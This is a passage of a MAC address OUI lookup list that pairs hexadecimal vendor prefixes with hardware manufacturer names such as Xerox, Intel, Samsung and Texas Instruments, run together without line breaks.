ELECTRONIC RETAILING SYSTEMS INTERNATIONAL 006078 POWER MEASUREMENT LTD. 00600D Digital Logic GmbH 00608A CITADEL COMPUTER 00A05D CS COMPUTER SYSTEME GmbH 00A0BD I-TECH CORP. 00A0B9 EAGLE TECHNOLOGY, INC. 00A069 Symmetricom, Inc. 00A07A ADVANCED PERIPHERALS TECHNOLOGIES, INC. 00A04E VOELKER TECHNOLOGIES, INC. 00A05A KOFAX IMAGE PRODUCTS 00A093 B/E AEROSPACE, Inc. 00A0BF WIRELESS DATA GROUP MOTOROLA 00609F PHAST CORPORATION 006067 ACER NETXUS INC. 00600C Eurotech Inc. 006025 ACTIVE IMAGING PLC 006071 MIDAS LAB, INC. 0060A7 MICROSENS GmbH & CO. KG 0060FC CONSERVATION THROUGH INNOVATION LTD. 0060D4 ELDAT COMMUNICATION LTD. 006085 Storage Concepts 006018 STELLAR ONE CORPORATION 00602B PEAK AUDIO 00606F CLARION CORPORATION OF AMERICA 0060ED RICARDO TEST AUTOMATION LTD. 0060F6 NEXTEST COMMUNICATIONS PRODUCTS, INC. 0060DD MYRICOM, INC. 006092 MICRO/SYS, INC. 006080 MICROTRONIX DATACOM LTD. 006068 Dialogic Corporation 0060DB NTP ELEKTRONIK A/S 00A002 LEEDS & NORTHRUP AUSTRALIA PTY LTD 00A0E4 OPTIQUEST 00A01F TRICORD SYSTEMS, INC. 00A0C0 DIGITAL LINK CORP. 00A043 AMERICAN TECHNOLOGY LABS, INC. 00A047 INTEGRATED FITNESS CORP. 00A07C TONYANG NYLON CO., LTD. 00A0EC TRANSMITTON LTD. 00A07E AVID TECHNOLOGY, INC. 00A035 CYLINK CORPORATION 00A028 CONNER PERIPHERALS 00A0C7 TADIRAN TELECOMMUNICATIONS 00E0BE GENROCO INTERNATIONAL, INC. 00E010 HESS SB-AUTOMATENBAU GmbH 00E0E9 DATA LABS, INC. 00E0A0 WILTRON CO. 00E024 GADZOOX NETWORKS 00E017 EXXACT GmbH 00603B AMTEC spa 0020E5 APEX DATA, INC. 00207D ADVANCED COMPUTER APPLICATIONS 0020D0 VERSALYNX CORPORATION 00206C EVERGREEN TECHNOLOGY CORP. 002012 CAMTRONICS MEDICAL SYSTEMS 00200B OCTAGON SYSTEMS CORP. 00209E BROWN'S OPERATING SYSTEM SERVICES, LTD. 0020D7 JAPAN MINICOMPUTER SYSTEMS CO., Ltd. 0020FB OCTEL COMMUNICATIONS CORP. 0020B1 COMTECH RESEARCH INC. 002033 SYNAPSE TECHNOLOGIES, INC. 002099 BON ELECTRIC CO., LTD. 0020AE ORNET DATA COMMUNICATION TECH. 0020EA EFFICIENT NETWORKS, INC. 0020FF SYMMETRICAL TECHNOLOGIES 00208B LAPIS TECHNOLOGIES, INC. 002069 ISDN SYSTEMS CORPORATION 0020BA CENTER FOR HIGH PERFORMANCE 002006 GARRETT COMMUNICATIONS, INC. 00A0A2 DIGICOM S.P.A. 00A054 Private 00A030 CAPTOR NV/SA 00A0B1 FIRST VIRTUAL CORPORATION 0020CB PRETEC ELECTRONICS CORP. 0020AB MICRO INDUSTRIES CORP. 00202D TAIYO CORPORATION 00A088 ESSENTIAL COMMUNICATIONS 00A0FA Marconi Communication GmbH 00A014 CSIR 00A064 KVB/ANALECT 00A07F GSM-SYNTEL, LTD. 00A03E ATM FORUM 00A098 NetApp 00A0A8 RENEX CORPORATION 002049 COMTRON, INC. 002050 KOREA COMPUTER INC. 00203C EUROTIME AB 002028 WEST EGG SYSTEMS, INC. 002014 GLOBAL VIEW CO., LTD. 002053 HUNTSVILLE MICROSYSTEMS, INC. 002001 DSP SOLUTIONS, INC. 00209C PRIMARY ACCESS CORP. 0020C5 EAGLE TECHNOLOGY 002009 PACKARD BELL ELEC., INC. 002095 RIVA ELECTRONICS 00203F JUKI CORPORATION 00C014 TELEMATICS CALABASAS INT'L,INC 00C045 ISOLATION SYSTEMS, LTD. 00C000 LANOPTICS, LTD. 00AA3C OLIVETTI TELECOM SPA (OLTECO) 00C079 FONSYS CO.,LTD. 002011 CANOPUS CO., LTD. 00C00B NORCONTROL A.S. 00C0C0 SHORE MICROSYSTEMS, INC. 00C00C RELIA TECHNOLGIES 00A0E7 CENTRAL DATA CORPORATION 00A068 BHP LIMITED 00A0B3 ZYKRONIX 00A06E AUSTRON, INC. 00A0BB HILAN GMBH 00A017 J B M CORPORATION 0020D5 VIPA GMBH 002079 MIKRON GMBH 0020FA GDE SYSTEMS, INC. 002007 SFA, INC. 002062 SCORPION LOGIC, LTD. 00200A SOURCE-COMM CORP. 002000 LEXMARK INTERNATIONAL, INC. 002003 PIXEL POWER LTD. 0020B4 TERMA ELEKTRONIK AS 00205B Kentrox, LLC 002030 ANALOG & DIGITAL SYSTEMS 0020A8 SAST TECHNOLOGY CORP. 002066 GENERAL MAGIC, INC. 002036 BMC SOFTWARE 0040BE BOEING DEFENSE & SPACE 004036 Zoom Telephonics, Inc 004046 UDC RESEARCH LIMITED 00406A KENTEK INFORMATION SYSTEMS,INC 0040F2 JANICH & KLASS COMPUTERTECHNIK 004082 LABORATORY EQUIPMENT CORP. 004022 KLEVER COMPUTERS, INC. 0040A2 KINGSTAR TECHNOLOGY INC. 0040B4 NEXTCOM K.K. 0040D4 GAGE TALKER CORP. 004038 TALENT ELECTRIC INCORPORATED 004018 ADOBE SYSTEMS, INC. 0040B0 BYTEX CORPORATION, ENGINEERING 004040 RING ACCESS, INC. 0080D7 Fantum Engineering 0080D9 EMK Elektronik GmbH & Co. KG 00806A ERI (EMPAC RESEARCH INC.) 00403B SYNERJET INTERNATIONAL CORP. 0040AB ROLAND DG CORPORATION 0040D5 Sartorius Mechatronics T&H GmbH 004027 SMC MASSACHUSETTS, INC. 00409C TRANSWARE 00405C FUTURE SYSTEMS, INC. 00008C Alloy Computer Products (Australia) Pty Ltd 004000 PCI COMPONENTES DA AMZONIA LTD 0040C5 MICOM COMMUNICATIONS INC. 004023 LOGIC CORPORATION 0040A4 ROSE ELECTRONICS 004048 SMD INFORMATICA S.A. 004025 MOLECULAR DYNAMICS 004010 SONIC SYSTEMS, INC. 0040CA FIRST INTERNAT'L COMPUTER, INC 004050 IRONICS, INCORPORATED 00402B TRIGEM COMPUTER, INC. 00C08C PERFORMANCE TECHNOLOGIES, INC. 00C02B GERLOFF GESELLSCHAFT FUR 00C0A7 SEEL LTD. 0040B3 ParTech Inc. 00407D EXTENSION TECHNOLOGY CORP. 004079 JUKO MANUFACTURE COMPANY, LTD. 0040D9 AMERICAN MEGATRENDS INC. 004011 ANDOVER CONTROLS CORPORATION 0040C1 BIZERBA-WERKE WILHEIM KRAUT 00C06B OSI PLUS CORPORATION 00C06A ZAHNER-ELEKTRIK GMBH & CO. KG 00C097 ARCHIPEL SA 00C072 KNX LTD. 00C0EC DAUPHIN TECHNOLOGY 00C066 DOCUPOINT, INC. 00C028 JASCO CORPORATION 00C0DC EOS TECHNOLOGIES, INC. 00C02D FUJI PHOTO FILM CO., LTD. 00C0BD INEX TECHNOLOGIES, INC. 00C054 NETWORK PERIPHERALS, LTD. 00C0D5 Werbeagentur Jürgen Siebert 00C044 EMCOM CORPORATION 00C050 TOYO DENKI SEIZO K.K. 00408A TPS TELEPROCESSING SYS. GMBH 0040FD LXE 00403D Teradata Corporation 0040E0 ATOMWIDE LTD. 00408C AXIS COMMUNICATIONS AB 004068 EXTENDED SYSTEMS 0040BA ALLIANT COMPUTER SYSTEMS CORP. 004069 LEMCOM SYSTEMS, INC. 0040F8 SYSTEMHAUS DISCOM 004077 MAXTON TECHNOLOGY CORPORATION 0040E7 ARNOS INSTRUMENTS & COMPUTER 0040AC SUPER WORKSTATION, INC. 00C0AC GAMBIT COMPUTER COMMUNICATIONS 00C02C CENTRUM COMMUNICATIONS, INC. 00C0ED US ARMY ELECTRONIC 00C0D1 COMTREE TECHNOLOGY CORPORATION 00C0D2 SYNTELLECT, INC. 00C0FB ADVANCED TECHNOLOGY LABS 00C092 MENNEN MEDICAL INC. 00C06C SVEC COMPUTER CORP. 00C02E NETWIZ 00C05B NETWORKS NORTHWEST, INC. 00C0BF TECHNOLOGY CONCEPTS, LTD. 00C0C9 ELSAG BAILEY PROCESS 00809D Commscraft Ltd. 008017 PFU LIMITED 0080F8 MIZAR, INC. 008024 KALPANA, INC. 008074 FISHER CONTROLS 008021 Alcatel Canada Inc. 000055 COMMISSARIAT A L`ENERGIE ATOM. 000086 MEGAHERTZ CORPORATION 000092 COGENT DATA TECHNOLOGIES 008068 YAMATECH SCIENTIFIC LTD. 0080F2 RAYCOM SYSTEMS INC 0080EA ADVA Optical Networking Ltd. 000067 SOFT * RITE, INC. 0000E8 ACCTON TECHNOLOGY CORP. 0000B2 TELEVIDEO SYSTEMS, INC. 0000EE NETWORK DESIGNERS, LTD. 000089 CAYMAN SYSTEMS INC. 000021 SUREMAN COMP. & COMMUN. CORP. 0000CF HAYES MICROCOMPUTER PRODUCTS 0000A4 ACORN COMPUTERS LIMITED 000018 WEBSTER COMPUTER CORPORATION 008033 EMS Aviation, Inc. 008052 TECHNICALLY ELITE CONCEPTS 00804F DAIKIN INDUSTRIES, LTD. 00806D CENTURY SYSTEMS CORP. 00802D XYLOGICS INC 008048 COMPEX INCORPORATED 008085 H-THREE SYSTEMS CORPORATION 008014 ESPRIT SYSTEMS 0080B4 SOPHIA SYSTEMS 00807F DY-4 INCORPORATED 0000E4 IN2 GROUPE INTERTECHNIQUE 000079 NETWORTH INCORPORATED 000075 Nortel Networks 004009 TACHIBANA TECTRON CO., LTD. 00409E CONCURRENT TECHNOLOGIESLTD. 008092 Silex Technology, Inc. 008011 DIGITAL SYSTEMS INT'L. INC. 008044 SYSTECH COMPUTER CORP. 00808A SUMMIT MICROSYSTEMS CORP. 0080E3 CORAL NETWORK CORPORATION 008072 MICROPLEX SYSTEMS LTD. 008054 FRONTIER TECHNOLOGIES CORP. 0080AE HUGHES NETWORK SYSTEMS 0080AF ALLUMER CO., LTD. 0080EC SUPERCOMPUTING SOLUTIONS, INC. 0080A4 LIBERTY ELECTRONICS 008073 DWB ASSOCIATES 00802B INTEGRATED MARKETING CO 0080BE ARIES RESEARCH 008027 ADAPTIVE SYSTEMS, INC. 0080E2 T.D.I. CO., LTD. 0040EE OPTIMEM 00405E NORTH HILLS ISRAEL 004072 Applied Innovation Inc. 004031 KOKUSAI ELECTRIC CO., LTD 00400C GENERAL MICRO SYSTEMS, INC. 0040E6 C.A.E.N. 0040FC IBR COMPUTER TECHNIK GMBH 004001 Zero One Technology Co. Ltd. 004002 PERLE SYSTEMS LIMITED 0080DB GRAPHON CORPORATION 0080B1 SOFTCOM A/S 0080D8 NETWORK PERIPHERALS INC. 0080AB DUKANE NETWORK INTEGRATION 00809B JUSTSYSTEM CORPORATION 008089 TECNETICS (PTY) LTD. 000039 TOSHIBA CORPORATION 0000CB COMPU-SHACK ELECTRONIC GMBH 0000D1 ADAPTEC INCORPORATED 0000B6 MICRO-MATIC RESEARCH 000066 TALARIS SYSTEMS, INC. 000014 NETRONIX 000072 MINIWARE TECHNOLOGY 0000AB LOGIC MODELING CORPORATION 000029 IMC NETWORKS CORP. 0080CD MICRONICS COMPUTER, INC. 008083 AMDAHL 008003 HYTEC ELECTRONICS LTD. 00801B KODIAK TECHNOLOGY 0080CC MICROWAVE BYPASS SYSTEMS 080079 THE DROID WORKS 080077 TSL COMMUNICATIONS LTD. 080071 MATRA (DSIE) 08005F SABER TECHNOLOGY CORP. 08005C FOUR PHASE SYSTEMS 08005B VTA TECHNOLOGIES INC. 080058 SYSTEMS CONCEPTS 080050 DAISY SYSTEMS CORP. 080052 INSYSTEC 080047 SEQUENT COMPUTER SYSTEMS INC. 080045 CONCURRENT COMPUTER CORP. 080044 DAVID SYSTEMS INC. 080041 RACAL-MILGO INFORMATION SYS.. 080038 BULL S.A.S. 08003C SCHLUMBERGER WELL SERVICES 080034 FILENET CORPORATION 08002C BRITTON LEE INC. 0000B9 MCDONNELL DOUGLAS COMPUTER SYS 00002D CHROMATICS INC 00004A ADC CODENOLL TECHNOLOGY CORP. 0000C0 WESTERN DIGITAL CORPORATION 000040 APPLICON, INC. 00005D CS TELECOM 08008E Tandem Computers 080086 KONICA MINOLTA HOLDINGS, INC. 080083 Seiko Instruments Inc. 080080 AES DATA INC. 080030 ROYAL MELBOURNE INST OF TECH 080064 Sitasys AG 00DD09 UNGERMANN-BASS INC. 08008A PerfTech, Inc. 00DD04 UNGERMANN-BASS INC. 080066 AGFA CORPORATION 08001A TIARA/ 10NET 080090 SONOMA SYSTEMS 08000B UNISYS CORPORATION 080017 NATIONAL SEMICONDUCTOR 00005E ICANN, IANA Department 0000AF Canberra Industries, Inc. 0000EC MICROPROCESS 00009E MARLI S.A. 000042 METIER MANAGEMENT SYSTEMS LTD. 00008D Cryptek Inc. 000065 Network General Corporation 00004D DCI CORPORATION 080024 10NET COMMUNICATIONS/DCA 08001E APOLLO COMPUTER INC. 00DD0D UNGERMANN-BASS INC. AA0002 DIGITAL EQUIPMENT CORPORATION 080005 SYMBOLICS INC. 000000 XEROX CORPORATION 0040D6 LOCAMATION B.V. AA0003 DIGITAL EQUIPMENT CORPORATION 080008 BOLT BERANEK AND NEWMAN INC. 08000E NCR CORPORATION 00006F Madge Ltd. 00005A SysKonnect GmbH 000023 ABB INDUSTRIAL SYSTEMS AB 000045 FORD AEROSPACE & COMM. CORP. 0000BC Rockwell Automation 0000C3 HARRIS CORP COMPUTER SYS DIV 000004 XEROX CORPORATION 000009 XEROX CORPORATION 00003D UNISYS F82C18 2Wire Inc 00173F Belkin International Inc. 388602 Flexoptix GmbH F4EB38 Sagemcom Broadband SAS 001E74 Sagemcom Broadband SAS 00604C Sagemcom Broadband SAS 002691 Sagemcom Broadband SAS C0D044 Sagemcom Broadband SAS 6C2E85 Sagemcom Broadband SAS CC33BB Sagemcom Broadband SAS 681590 Sagemcom Broadband SAS 5464D9 Sagemcom Broadband SAS 00023F COMPAL ELECTRONICS, INC. 383BC8 2Wire Inc DC7FA4 2Wire Inc 001288 2Wire Inc 001EC7 2Wire Inc 28162E 2Wire Inc 3CEA4F 2Wire Inc 848F69 Dell Inc. 90B11C Dell Inc. F8CAB8 Dell Inc. 24B6FD Dell Inc. 000D56 Dell Inc. 00123F Dell Inc. 001372 Dell Inc. 74867A Dell Inc. 3417EB Dell Inc. EC8892 Motorola Mobility LLC, a Lenovo Company B07994 Motorola Mobility LLC, a Lenovo Company 141AA3 Motorola Mobility LLC, a Lenovo Company CCC3EA Motorola Mobility LLC, a Lenovo Company 34BB26 Motorola Mobility LLC, a Lenovo Company 40786A Motorola Mobility LLC, a Lenovo Company 0019B9 Dell Inc. 002219 Dell Inc. 00B0D0 Dell Inc. 5C260A Dell Inc. B083FE Dell Inc. 141877 Dell Inc. 0024E8 Dell Inc. A48E0A DeLaval International AB 00215C Intel Corporate 002315 Intel Corporate 001500 Intel Corporate 104A7D Intel Corporate A4C494 Intel Corporate 902E1C Intel Corporate 3CFDFE Intel Corporate B8BF83 Intel Corporate 001DE1 Intel Corporate 0022FB Intel Corporate 081196 Intel Corporate 6036DD Intel Corporate A0369F Intel Corporate 502DA2 Intel Corporate 4C79BA Intel Corporate 4CEB42 Intel Corporate 606720 Intel Corporate 84A6C8 Intel Corporate 5891CF Intel Corporate 88532E Intel Corporate 0024D7 Intel Corporate C40938 FUJIAN STAR-NET COMMUNICATION CO.,LTD 00AA02 Intel Corporation 5CD2E4 Intel Corporate 04BD88 Aruba Networks 000B86 Aruba Networks 8896F2 Valeo Schalter und Sensoren GmbH 80A589 AzureWave Technology Inc. 0CCC26 Airenetworks 4CB0E8 Beijing RongZhi xinghua technology co., LTD 4C14A3 TCL Technoly Electronics (Huizhou) Co., Ltd. F48E38 Dell Inc. D887D5 Leadcore Technology CO.,LTD 00DA55 Cisco Systems, Inc 80D21D AzureWave Technology Inc. 705A0F Hewlett Packard 586356 FN-LINK TECHNOLOGY LIMITED B046FC MitraStar Technology Corp. 08A95A AzureWave Technology Inc. 6CADF8 AzureWave Technology Inc. 54271E AzureWave Technology Inc. 008C54 ADB Broadband Italia F0842F ADB Broadband Italia 8CB864 AcSiP Technology Corp. 0020E0 Actiontec Electronics, Inc 0004E3 Accton Technology Corp 409558 Aisino Corporation 00D0C9 ADVANTECH CO., LTD. 002553 ADB Broadband Italia 00238E ADB Broadband Italia 001CA2 ADB Broadband Italia 0017C2 ADB Broadband Italia D0D412 ADB Broadband Italia 000FA3 Alpha Networks Inc. 001D6A Alpha Networks Inc. 0000F4 Allied Telesis, Inc. 70F1A1 Liteon Technology Corporation 6CFAA7 AMPAK Technology, Inc. 24FD52 Liteon Technology Corporation 2016D8 Liteon Technology Corporation 9CB70D Liteon Technology Corporation 1C659D Liteon Technology Corporation 001B9E ASKEY COMPUTER CORP E0CA94 ASKEY COMPUTER CORP C0D962 ASKEY COMPUTER CORP 00150C AVM GmbH F40B93 BlackBerry RTS 68ED43 BlackBerry RTS 34BB1F BlackBerry RTS 489D24 BlackBerry RTS 000F86 BlackBerry RTS 001333 BaudTec Corporation 507E5D Arcadyan Technology Corporation 849CA6 Arcadyan Technology Corporation 1CC63C Arcadyan Technology Corporation C02506 AVM GmbH 0896D7 AVM GmbH 4C09D4 Arcadyan Technology Corporation DC446D Allwinner Technology Co., Ltd BC620E HUAWEI TECHNOLOGIES CO.,LTD 78F557 HUAWEI TECHNOLOGIES CO.,LTD E02861 HUAWEI TECHNOLOGIES CO.,LTD C4473F HUAWEI TECHNOLOGIES CO.,LTD 000AF7 Broadcom 000DB6 Broadcom 18C086 Broadcom C03E0F BSkyB Ltd 0020D4 Cabletron Systems, Inc. 00001D Cabletron Systems, Inc. 0060BB Cabletron Systems, Inc. D0542D Cambridge Industries(Group) Co.,Ltd. 001FC7 Casio Hitachi Mobile Communications Co., Ltd. ACEE9E Samsung Electronics Co.,Ltd C08997 Samsung Electronics Co.,Ltd 2827BF Samsung Electronics Co.,Ltd F05B7B Samsung Electronics Co.,Ltd 7CF90E Samsung Electronics Co.,Ltd AC5A14 Samsung Electronics Co.,Ltd B0C559 Samsung Electronics Co.,Ltd BCD11F Samsung Electronics Co.,Ltd A0B4A5 Samsung Electronics Co.,Ltd 80656D Samsung Electronics Co.,Ltd 48137E Samsung Electronics Co.,Ltd E83A12 Samsung Electronics Co.,Ltd 9C0298 Samsung Electronics Co.,Ltd 6C8336 Samsung Electronics Co.,Ltd B8C68E Samsung Electronics Co.,Ltd 74458A Samsung Electronics Co.,Ltd A49A58 Samsung Electronics Co.,Ltd B4EF39 Samsung Electronics Co.,Ltd 14A364 Samsung Electronics Co.,Ltd 3CA10D Samsung Electronics Co.,Ltd 206E9C Samsung Electronics Co.,Ltd 183F47 Samsung Electronics Co.,Ltd 0C715D Samsung Electronics Co.,Ltd 0C1420 Samsung Electronics Co.,Ltd A80600 Samsung Electronics Co.,Ltd 6CF373 Samsung Electronics Co.,Ltd 3872C0 Comtrend Corporation F4068D devolo AG 000BCA DATAVAN TC 00507F DrayTek Corp. 3C8970 Neosfar C43655 Shenzhen Fenglian Technology Co., Ltd. 78CB68 DAEHAP HYPER-TECH 001A7F GCI Science & Technology Co.,LTD D04D2C Roku, Inc. E00C7F Nintendo Co., Ltd. 58BDA3 Nintendo Co., Ltd. 0025A0 Nintendo Co., Ltd. 002659 Nintendo Co., Ltd. 8C56C5 Nintendo Co., Ltd. CC9E00 Nintendo Co., Ltd. 001656 Nintendo Co., Ltd. 00191D Nintendo Co., Ltd. 0019FD Nintendo Co., Ltd. 001EA9 Nintendo Co., Ltd. A84481 Nokia Corporation 8844F6 Nokia Corporation A87B39 Nokia Corporation 14C126 Nokia Corporation 4C2578 Nokia Corporation 001EA4 Nokia Danmark A/S 001262 Nokia Danmark A/S 00174B Nokia Danmark A/S 002547 Nokia Danmark A/S 001DE9 Nokia Danmark A/S 001D3B Nokia Danmark A/S 0014A7 Nokia Danmark A/S 001CD6 Nokia Danmark A/S D099D5 Alcatel-Lucent DC0077 TP-LINK TECHNOLOGIES CO.,LTD. 0060DC NEC Magnus Communications,Ltd. 0021FD LACROIX TRAFFIC S.A.U 4CB44A NANOWAVE Technologies Inc. 78C3E9 Samsung Electronics Co.,Ltd 9C5C8E ASUSTek COMPUTER INC. 70884D JAPAN RADIO CO., LTD. 4C55CC Zentri Pty Ltd 84683E Intel Corporate C88722 Lumenpulse 30A9DE LG Innotek E0CDFD Beijing E3Control Technology Co, LTD 208B37 Skyworth Digital Technology(Shenzhen) Co.,Ltd 08BE77 Green Electronics 280C28 Unigen DataStorage Corporation 980CA5 Motorola (Wuhan) Mobility Technologies Communication Co., Ltd. 1CC035 PLANEX COMMUNICATIONS INC. 34543C TAKAOKA TOKO CO.,LTD. D49524 Clover Network, Inc. 9046A2 Tedipay UK Ltd 6479A7 Phison Electronics Corp. C83870 Samsung Electronics Co.,Ltd 288335 Samsung Electronics Co.,Ltd 44783E Samsung Electronics Co.,Ltd 202D07 Samsung Electronics Co.,Ltd 0452C7 Bose Corporation D4612E HUAWEI TECHNOLOGIES CO.,LTD 1C6758 HUAWEI TECHNOLOGIES CO.,LTD E85659 Advanced-Connectek Inc. 8801F2 Vitec System Engineering Inc. FC084A FUJITSU LIMITED 847BEB Dell Inc. 689361 Integrated Device Technology (Malaysia) Sdn. Bhd. A082AC Linear DMS Solutions Sdn. Bhd. 002697 AlphaTechnologies Inc. 4CB8B5 Shenzhen YOUHUA Technology Co., Ltd 1CABC0 Hitron Technologies. Inc 84E323 Green Wave Telecommunication SDN BHD D897BA PEGATRON CORPORATION 7071BC PEGATRON CORPORATION E06995 PEGATRON CORPORATION 54D9E4 BRILLIANTTS CO., LTD E4F3F5 SHENZHEN MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. 00089F EFM Networks 00185C EDSLAB Technologies 00020E ECI Telecom Ltd. 00115B Elitegroup Computer Systems Co.,Ltd. 000795 Elitegroup Computer Systems Co.,Ltd. B8AEED Elitegroup Computer Systems Co.,Ltd. C03FD5 Elitegroup Computer Systems Co.,Ltd. 7427EA Elitegroup Computer Systems Co.,Ltd. 0000C9 Emulex Corporation 001A45 GN Netcom A/S 00168F GN Netcom A/S 083FBC zte corporation 042AE2 Cisco Systems, Inc 1C1B0D GIGA-BYTE TECHNOLOGY CO.,LTD. 00104F Oracle Corporation 000782 Oracle Corporation E42F56 OptoMET GmbH 00A045 PHOENIX CONTACT Electronics GmbH 00266C INVENTEC Corporation 001E25 INTEK DIGITAL A0B662 Acutvista Innovation Co., Ltd. 00C0F0 Kingston Technology Company, Inc. 4C8FA5 Jastec 000C49 Dangaard Telecom Denmark A/S CCE17F Juniper Networks 44F477 Juniper Networks 5C4527 Juniper Networks F01C2D Juniper Networks F8C001 Juniper Networks 78FE3D Juniper Networks 54E032 Juniper Networks 3C6104 Juniper Networks BC7574 HUAWEI TECHNOLOGIES CO.,LTD 20A680 HUAWEI TECHNOLOGIES CO.,LTD 0019E2 Juniper Networks 001F12 Juniper Networks 0024DC Juniper Networks 50C58D Juniper Networks 000585 Juniper Networks 003146 Juniper Networks 80ACAC Juniper Networks 50DD4F Automation Components, Inc 904D4A Sagemcom Broadband SAS 7C79E8 PayRange Inc. 540593 WOORI ELEC Co.,Ltd C4CAD9 Hangzhou H3C Technologies Co., Limited 74258A Hangzhou H3C Technologies Co., Limited 70F96D Hangzhou H3C Technologies Co., Limited 00260F Linn Products Ltd F845AD Konka Group Co., Ltd. 000358 Hanyang Digitech Co.Ltd 000761 29530 60512C TCT mobile ltd 905F2E TCT mobile ltd 4C0B3A TCT mobile ltd C02FF1 Volta Networks 4882F2 Appel Elektronik GmbH 30C82A WI-BIZ srl 0062EC Cisco Systems, Inc 0C8A87 AgLogica Holdings, Inc 34A2A2 HUAWEI TECHNOLOGIES CO.,LTD 20F17C HUAWEI TECHNOLOGIES CO.,LTD 34B354 HUAWEI TECHNOLOGIES CO.,LTD 749D8F HUAWEI TECHNOLOGIES CO.,LTD 346AC2 HUAWEI TECHNOLOGIES CO.,LTD C83DFC Pioneer DJ Corporation 0016FB SHENZHEN MTC CO LTD 381DD9 FN-LINK TECHNOLOGY LIMITED 6C9522 Scalys 8C59C3 ADB Italia 60C0BF ON Semiconductor 98398E Samsung Electronics Co.,Ltd 348A7B Samsung Electronics Co.,Ltd BC765E Samsung Electronics Co.,Ltd E0A8B8 Le Shi Zhi Xin Electronic Technology (Tianjin) Limited B88198 Intel Corporate E4FB8F MOBIWIRE MOBILES (NINGBO) CO.,LTD 78009E Samsung Electronics Co.,Ltd C8AFE3 Hefei Radio Communication Technology Co., Ltd 7C3548 Transcend Information E83A97 Toshiba Corporation 9C8ECD Amcrest Technologies 282536 SHENZHEN HOLATEK CO.,LTD FCA89A Sunitec Enterprise Co.,Ltd B8F8BE BLUECOM 6073BC zte corporation 90EED9 UNIVERSAL DE DESARROLLOS ELECTRÓNICOS, SA 043110 Inspur Group Co., Ltd. 00215B SenseAnywhere C816BD Qingdao Hisense Communications Co.,Ltd. 587E61 Qingdao Hisense Communications Co.,Ltd. 340AFF Qingdao Hisense Communications Co.,Ltd. F85A00 Sanford LP D8E0B8 BULAT LLC 68C44D Motorola Mobility LLC, a Lenovo Company 48FCB6 LAVA INTERNATIONAL(H.K) LIMITED CC3540 Technicolor CH USA Inc. C42795 Technicolor CH USA Inc. 58238C Technicolor CH USA Inc. 705A9E Technicolor CH USA Inc. 80C6AB Technicolor CH USA Inc. 90A4DE Wistron Neweb Corporation 3C970E Wistron InfoComm(Kunshan)Co.,Ltd. 30144A Wistron Neweb Corporation A854B2 Wistron Neweb Corporation 38BC1A MEIZU Technology Co., Ltd. 0004A3 Microchip Technology Inc. 982F3C Sichuan Changhong Electric Ltd. 380DD4 Primax Electronics Ltd. 98FDB4 Primax Electronics Ltd. 00157D POSDATA F8E61A Samsung Electronics Co.,Ltd 888322 Samsung Electronics Co.,Ltd 84B541 Samsung Electronics Co.,Ltd 18DC56 Yulong Computer Telecommunication Scientific (Shenzhen) Co.,Ltd 001F46 Nortel Networks 001F0A Nortel Networks 00130A Nortel Networks 001E7E Nortel Networks 001C9C Nortel Networks 000CF8 Nortel Networks 000CF7 Nortel Networks 001E1F Nortel Networks 001C17 Nortel Networks 00182E XStreamHD 50016B HUAWEI TECHNOLOGIES CO.,LTD 58986F Revolution Display 28AC67 Mach Power, Rappresentanze Internazionali s.r.l. B0B28F Sagemcom Broadband SAS DC1A01 Ecoliv Technology ( Shenzhen ) Ltd. 7CFE90 Mellanox Technologies, Inc. 0002C9 Mellanox Technologies, Inc. D05FB8 Texas Instruments C4BE84 Texas Instruments 78A504 Texas Instruments 7C669D Texas Instruments D03972 Texas Instruments E0E5CF Texas Instruments 7CEC79 Texas Instruments 74D6EA Texas Instruments 0017EB Texas Instruments 883314 Texas Instruments 84DD20 Texas Instruments 1C4593 Texas Instruments 5C6B32 Texas Instruments 0017E4 Texas Instruments D03761 Texas Instruments 0024BA Texas Instruments 0022A5 Texas Instruments 0021BA Texas Instruments 001833 Texas Instruments D8952F Texas Instruments 649C8E Texas Instruments F4FC32 Texas Instruments 74DAEA Texas Instruments 04A316 Texas Instruments 98072D Texas Instruments 001AB6 Texas Instruments C8A030 Texas Instruments 34B1F7 Texas Instruments C4EDBA Texas Instruments A40DBC Xiamen Intretech Inc. EC8EAE Nagravision SA 606405 Texas Instruments 708BCD ASUSTek COMPUTER INC. 001A21 Brookhuis Applied Technologies BV 00A00E NetScout Systems, Inc. 1C330E PernixData 345760 MitraStar Technology Corp. 343DC4 BUFFALO.INC 6CEFC6 SHENZHEN TWOWING TECHNOLOGIES CO.,LTD. 002A10 Cisco Systems, Inc 44D6E1 Snuza International Pty. Ltd. 0015B9 Samsung Electronics Co.,Ltd 001DF6 Samsung Electronics Co.,Ltd ECE09B Samsung Electronics Co.,Ltd 606BBD Samsung Electronics Co.,Ltd 0000F0 Samsung Electronics Co.,Ltd 4844F7 Samsung Electronics Co.,Ltd DC7144 SAMSUNG ELECTRO MECHANICS CO., LTD. A00BBA SAMSUNG ELECTRO MECHANICS CO., LTD. 1C5A3E Samsung Electronics Co.,Ltd F47B5E Samsung Electronics Co.,Ltd C44619 Hon Hai Precision Ind. Co.,Ltd. F0F002 Hon Hai Precision Ind. Co.,Ltd. 889FFA Hon Hai Precision Ind. Co.,Ltd. 5CAC4C Hon Hai Precision Ind. Co.,Ltd. 18F46A Hon Hai Precision Ind. Co.,Ltd. 3859F9 Hon Hai Precision Ind. Co.,Ltd. BC8556 Hon Hai Precision Ind. Co.,Ltd. 9C2A70 Hon Hai Precision Ind. Co.,Ltd. F82FA8 Hon Hai Precision Ind. Co.,Ltd. 0CEEE6 Hon Hai Precision Ind. Co.,Ltd. 0C6076 Hon Hai Precision Ind. Co.,Ltd. 90FBA6 Hon Hai Precision Ind. Co.,Ltd. 00197D Hon Hai Precision Ind. Co.,Ltd. 001C26 Hon Hai Precision Ind. Co.,Ltd. 9CAD97 Hon Hai Precision Ind. Co.,Ltd. 2C8158 Hon Hai Precision Ind. Co.,Ltd. 142D27 Hon Hai Precision Ind. Co.,Ltd. 843DC6 Cisco Systems, Inc 407C7D Nokia BC52B4 Nokia FC2FAA Nokia 903AA0 Nokia 702526 Nokia 38F7B2 SEOJUN ELECTRIC 7802B7 ShenZhen Ultra Easy Technology CO.,LTD F81D78 IEEE Registration Authority 88AD43 PEGATRON CORPORATION 6C71BD EZELINK TELECOM 842519 Samsung Electronics 88DEA9 Roku, Inc. FC83C6 N-Radio Technologies Co., Ltd. B4E782 Vivalnk 008701 Samsung Electronics Co.,Ltd FC4203 Samsung Electronics Co.,Ltd 1C232C Samsung Electronics Co.,Ltd 08010F SICHUAN TIANYI COMHEART TELECOMCO.,LTD CCA260 SICHUAN 